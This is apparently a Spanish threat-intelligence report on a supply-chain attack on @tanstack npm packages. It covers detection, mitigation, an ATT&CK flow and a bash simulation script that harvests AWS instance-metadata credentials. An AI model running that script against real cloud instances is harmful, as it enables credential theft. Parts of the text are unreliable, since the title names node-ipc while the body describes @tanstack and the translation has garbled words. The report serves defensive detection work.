SOC Prime Bias: Crítico

15 May 2026 13:38 UTC

Ataque activo a la cadena de suministro compromete el paquete node-ipc

Author Photo
SOC Prime Team linkedin icon Seguir
Ataque activo a la cadena de suministro compromete el paquete node-ipc
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Investigadores de Socket descubrieron un compromiso en la cadena de suministro que afecta a 84 paquetes de npm publicados bajo el @tanstack namespace. Las actualizaciones maliciosas introdujeron un archivo JavaScript altamente ofuscado diseñado para robar secretos relacionados con CI de GitHub Actions, AWS, HashiCorp Vault y entornos Kubernetes, luego usar esas credenciales para republicarse en npm. La carga útil también plantó ganchos de persistencia dentro de los directorios de configuración de Claude Code y VS Code. Los investigadores vincularon la actividad a la campaña de malware más amplia Mini Shai-Hulud de la cadena de suministro.

Investigación

La investigación identificó un archivo que se agregó recientemente, router_init.js, que utilizaba rotación de matriz de cadenas, una capa adicional de descodificación XOR y Base64, y dabaemonización para ocultar su comportamiento. El malware apuntaba a variables de entorno, servicios de metadatos en la nube y puntos finales de API asociados con GitHub, AWS, Vault y Kubernetes para recopilar credenciales. Se propagó abusando de la federación OIDC de GitHub Actions para obtener tokens de publicación npm e insertó una optionalDependency on @tanstack/setupmaliciosa. El tráfico de exfiltración se encaminó a través de la red de mensajería descentralizada de Session.

Mitigación

Las organizaciones afectadas por la campaña deben verificar los hashes de todos los contenidos del paquete @tanstack/* , rotar todas las credenciales de CI y en la nube, revocar las concesiones de federación OIDC expuestas, y eliminar archivos no autorizados de los directorios .claude and .vscode . Bloquear el tráfico saliente a filev2.getsession.org y hacer cumplir controles de integridad para los paquetes npm puede reducir aún más la exposición. Los flujos de trabajo de GitHub Actions también deben reforzarse fijando acciones de terceros y minimizando permisos de id-token. permisos.

Respuesta

Los defensores deben buscar presencia de router_init.js y nombres de archivos relacionados, monitorear procesos sospechosos generados y alertar sobre accesos a los puntos finales de metadatos en la nube identificados. Cualquier paquete comprometido debe ser puesto en cuarentena, eliminando los ganchos maliciosos y rotando todas las credenciales expuestas inmediatamente. Los equipos de seguridad también deben llevar a cabo una revisión completa de la actividad de GitHub Actions para el uso no autorizado de tokens y validar la procedencia de todos los paquetes npm publicados.

"graph TB %% Definiciones de Clase classDef technique fill:#e6f7ff classDef operator fill:#ffcc66 %% Nodos que representan cada técnica de ATT&CK a_initial_access["<b>Técnica</b> – <b>T1195.001 Compromiso de la Cadena de Suministro</b><br/><b>Descripción</b>: El adversario compromete una cadena de suministro de software (por ejemplo, paquete npm malicioso) para obtener acceso inicial."] class a_initial_access technique b_execution["<b>Técnica</b> – <b>T1129 Módulos Compartidos</b><br/><b>Descripción</b>: Módulo compartido malicioso (router_init.js) ejecutado automáticamente durante la instalación del paquete."] class b_execution technique c_persistence["<b>Técnica</b> – <b>T1176.002 Extensiones IDE</b><br/><b>Descripción</b>: Escribe archivos ocultos (.claude, .vscode) y ganchos para mantener la persistencia a través de extensiones IDE comprometidas."] class c_persistence technique d_def_evasion["<b>Técnica</b> – <b>T1027 Archivos Ofuscados o Información</b><br/><b>Descripción</b>: La carga útil está ofuscada para evitar la detección.<br/><b>Técnica</b> – <b>T1140 Deofuscar/Decodificar Archivos o Información</b><br/><b>Descripción</b>: Rutina de ejecución descifra el código antes de ejecutarlo."] class d_def_evasion technique e_cred_access["<b>Técnica</b> – <b>T1552.005 Credenciales No Aseguradas</b><br/><b>Descripción</b>: Lee la API de metadatos de instancias en la nube para obtener credenciales.<br/><b>Técnica</b> – <b>T1555.006 Gestión de Secretos de Nube</b><br/><b>Descripción</b>: Recupera secretos de los almacenes secretos de la nube."] class e_cred_access technique f_account_disc["<b>Técnica</b> – <b>T1087.004 Cuenta de Nube</b><br/><b>Descripción</b>: Enumera la información de la cuenta de nube para identificar recursos y privilegios."] class f_account_disc technique g_cred_use["<b>Técnica</b> – <b>T1078 Cuentas Válidas</b><br/><b>Descripción</b>: Usa el token OIDC extraído como una cuenta válida para publicar paquetes maliciosos adicionales."] class g_cred_use technique h_propagation["<b>Técnica</b> – <b>T1195.001 Compromiso de la Cadena de Suministro</b><br/><b>Descripción</b>: Reu2011utiliza el paquete malicioso a través de optionalDependencies y el gancho prepare npm para esparcirse a proyectos aguas abajo."] class h_propagation technique i_command_exec["<b>Técnica</b> – <b>T1059.009 Llamadas API de Nube</b><br/><b>Descripción</b>: Ejecuta comandos invocando las API de GitHub, AWS y Vault directamente desde el entorno comprometido."] class i_command_exec technique j_exfiltration["<b>Técnica</b> – <b>T1041 Exfiltración Sobre Canal C2</b><br/><b>Descripción</b>: Exfiltra datos sobre un canal de sesión peeru2011to-peer establecido entre nodos comprometidos."] class j_exfiltration technique k_remote_services["<b>Técnica</b> – <b>T1021.007 Servicios de Nube</b><br/><b>Descripción</b>: Aprovecha los commits de GitHub GraphQL como servicio remoto para mantener el comando y control."] class k_remote_services technique %% Conexiones de flujo secuencial a_initial_access –>|conduce_a| b_execution b_execution –>|conduce_a| c_persistence c_persistence –>|conduce_a| d_def_evasion d_def_evasion –>|conduce_a| e_cred_access e_cred_access –>|conduce_a| f_account_disc f_account_disc –>|conduce_a| g_cred_use g_cred_use –>|conduce_a| h_propagation h_propagation –>|conduce_a| i_command_exec i_command_exec –>|conduce_a| j_exfiltration j_exfiltration –>|conduce_a| k_remote_services "

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Verificación Previa de Telemetría y Línea de Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.

  • Narrativa y Comandos del Ataque:

    1. Obtener un token de sesión IMDSv2 – el atacante emite una PUT solicitud al endpoint del token con un TTL de 21600 segundos.
    2. Usar el token para consultar el nombre del rol IAM expuesto en /latest/meta-data/iam/security-credentials/.
    3. Recuperar las credenciales IAM temporales (AccessKeyId, SecretAccessKey, Token) para el perfil de instancia.
    4. Almacenar las credenciales localmente para usos posteriores (por ejemplo, para llamar a APIs de AWS, pivote o realizar ataques de pulverización de contraseñas).

    Estos pasos generan tráfico HTTP a los URIs exactos listados en la regla Sigma que, cuando son capturados por los registros de flujo de VPC, deberían satisfacer la condición de detección.

  • Script de Prueba de Regresión:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Script: aws_imds_credential_harvest.sh
    # Propósito: Simular la recolección de credenciales vía IMDSv2 / metadatos de ECS
    # -------------------------------------------------
    
    set -euo pipefail
    
    # 1. Solicitar token IMDSv2
    TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" 
      -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -s)
    
    if [[ -z "$TOKEN" ]]; then
      echo "[!] Fallo al obtener el token IMDSv2"
      exit 1
    fi
    echo "[*] Token IMDSv2 obtenido"
    
    # 2. Obtener el nombre del rol IAM asociado con la instancia
    ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" 
      -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
    
    if [[ -z "$ROLE_NAME" ]]; then
      echo "[!] No se pudo recuperar el nombre del rol IAM"
      exit 1
    fi
    echo "[*] Rol IAM de la instancia: $ROLE_NAME"
    
    # 3. Recuperar credenciales temporales para el rol
    CREDS_JSON=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" 
      -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)
    
    echo "[*] Credenciales recuperadas:"
    echo "$CREDS_JSON" | jq .
    
    # 4. (Opcional) Exportar como variables de entorno para uso posterior con AWS CLI
    export AWS_ACCESS_KEY_ID=$(echo "$CREDS_JSON" | jq -r .AccessKeyId)
    export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS_JSON" | jq -r .SecretAccessKey)
    export AWS_SESSION_TOKEN=$(echo "$CREDS_JSON" | jq -r .Token)
    
    echo "[*] Credenciales exportadas al entorno (solo para demostración)."
    # -------------------------------------------------
    # Fin del script
    # -------------------------------------------------
  • Comandos de Limpieza:

    # Desestablecer las variables de entorno que contienen credenciales temporales
    aunset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
    
    # Eliminar archivos temporales (ninguno creado en este script)
    echo "[*] Limpieza completa."